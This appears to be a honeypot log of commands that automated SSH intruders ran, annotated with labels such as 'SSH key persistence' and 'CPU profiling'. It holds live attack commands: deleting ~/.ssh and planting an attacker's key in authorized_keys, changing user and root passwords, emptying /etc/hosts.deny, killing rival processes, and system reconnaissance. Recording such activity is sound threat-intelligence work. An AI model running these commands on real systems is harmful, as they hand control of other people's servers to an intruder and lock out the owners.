$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nFc4vPrLFDLMU\nFc4vPrLFDLMU"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nFc4vPrLFDLMU\nFc4vPrLFDLMU\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nV57jRVyhD9ya\nV57jRVyhD9ya"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nV57jRVyhD9ya\nV57jRVyhD9ya\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×5 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×5 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×5 // CPU profiling

$ echo -e "rancher\nw098xCUU0etL\nw098xCUU0etL"|passwd|bash

$ Enter new UNIX password: ×5

$ echo "rancher\nw098xCUU0etL\nw098xCUU0etL\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×5 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×5

$ ls -lh $(which ls) ×5

$ which ls ×5

$ crontab -l ×5 // persistence setup

$ w ×5 // logged-in users check

$ uname -m ×5

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×5 // CPU profiling

$ top ×5 // process monitoring

$ uname ×5 // OS identification

$ uname -a ×5 // OS/kernel identification

$ whoami ×5 // privilege check

$ lscpu | grep Model ×5

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×5

$ echo -e "teacher\nMLgVEUB8bq1w\nMLgVEUB8bq1w"|passwd|bash

$ echo "teacher\nMLgVEUB8bq1w\nMLgVEUB8bq1w\n"|passwd

$ echo -e "rancher\nQwc6gOMtTghi\nQwc6gOMtTghi"|passwd|bash

$ echo "rancher\nQwc6gOMtTghi\nQwc6gOMtTghi\n"|passwd

$ echo -e "teacher\nqg8kN9l11P3l\nqg8kN9l11P3l"|passwd|bash

$ echo "teacher\nqg8kN9l11P3l\nqg8kN9l11P3l\n"|passwd

$ echo -e "1234qwer\n9zuTat058avx\n9zuTat058avx"|passwd|bash

$ echo "1234qwer\n9zuTat058avx\n9zuTat058avx\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×4 // CPU profiling

$ echo -e "rancher\n9zHvKN5gz2t4\n9zHvKN5gz2t4"|passwd|bash

$ Enter new UNIX password: ×3

$ echo "rancher\n9zHvKN5gz2t4\n9zHvKN5gz2t4\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×4 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×4

$ ls -lh $(which ls) ×4

$ which ls ×4

$ crontab -l ×4 // persistence setup

$ w ×4 // logged-in users check

$ uname -m ×4

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×4 // CPU profiling

$ top ×4 // process monitoring

$ uname ×4 // OS identification

$ uname -a ×4 // OS/kernel identification

$ whoami ×4 // privilege check

$ lscpu | grep Model ×4

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×4

$ echo -e "teacher\nIJ9MhswieL7F\nIJ9MhswieL7F"|passwd|bash

$ echo "teacher\nIJ9MhswieL7F\nIJ9MhswieL7F\n"|passwd

$ echo "root:UXOIr1WW3WYv"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ echo -e "scadmin\npX0DbODfNk12\npX0DbODfNk12"|passwd|bash

$ echo "scadmin\npX0DbODfNk12\npX0DbODfNk12\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "teacher\nt5ecT7eZaMoc\nt5ecT7eZaMoc"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "teacher\nt5ecT7eZaMoc\nt5ecT7eZaMoc\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "rancher\nq8y2ZnfnNFqF\nq8y2ZnfnNFqF"|passwd|bash

$ echo "rancher\nq8y2ZnfnNFqF\nq8y2ZnfnNFqF\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "rancher\nQYAvTQ4xQFTD\nQYAvTQ4xQFTD"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "rancher\nQYAvTQ4xQFTD\nQYAvTQ4xQFTD\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "teacher\n1E3x4qe4fZrz\n1E3x4qe4fZrz"|passwd|bash

$ echo "teacher\n1E3x4qe4fZrz\n1E3x4qe4fZrz\n"|passwd

$ uname -a // OS/kernel identification

$ hostname // hostname discovery

$ uname -m&&pkill upnpsetup // process termination

$ sudo pkill upnpsetup // process termination

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "student1\nFrDuyung9qdt\nFrDuyung9qdt"|passwd|bash

$ Enter new UNIX password:

$ echo "student1\nFrDuyung9qdt\nFrDuyung9qdt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "cache\nc7FtjYhCKfhk\nc7FtjYhCKfhk"|passwd|bash

$ Enter new UNIX password:

$ echo "cache\nc7FtjYhCKfhk\nc7FtjYhCKfhk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1q2w3e\nmWA8Y3YmPZcK\nmWA8Y3YmPZcK"|passwd|bash

$ Enter new UNIX password:

$ echo "1q2w3e\nmWA8Y3YmPZcK\nmWA8Y3YmPZcK\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:yV9rTNSue4bu"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "smokeping123\nTa2sSsSxRdmT\nTa2sSsSxRdmT"|passwd|bash

$ Enter new UNIX password: ×3

$ echo "smokeping123\nTa2sSsSxRdmT\nTa2sSsSxRdmT\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "jason123\nBPBIkVv8DYiX\nBPBIkVv8DYiX"|passwd|bash

$ echo "jason123\nBPBIkVv8DYiX\nBPBIkVv8DYiX\n"|passwd

$ echo -e "Ubuntu@123\nrla7NCftJYdn\nrla7NCftJYdn"|passwd|bash

$ echo "Ubuntu@123\nrla7NCftJYdn\nrla7NCftJYdn\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "smokeping123\nFG6eEszuusd3\nFG6eEszuusd3"|passwd|bash

$ Enter new UNIX password:

$ echo "smokeping123\nFG6eEszuusd3\nFG6eEszuusd3\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "jason123\nw1xznl3mNuys\nw1xznl3mNuys"|passwd|bash

$ Enter new UNIX password:

$ echo "jason123\nw1xznl3mNuys\nw1xznl3mNuys\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "password\n9GhbkuGCpti1\n9GhbkuGCpti1"|passwd|bash

$ Enter new UNIX password:

$ echo "password\n9GhbkuGCpti1\n9GhbkuGCpti1\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\naciunBZIGRzU\naciunBZIGRzU"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\naciunBZIGRzU\naciunBZIGRzU\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

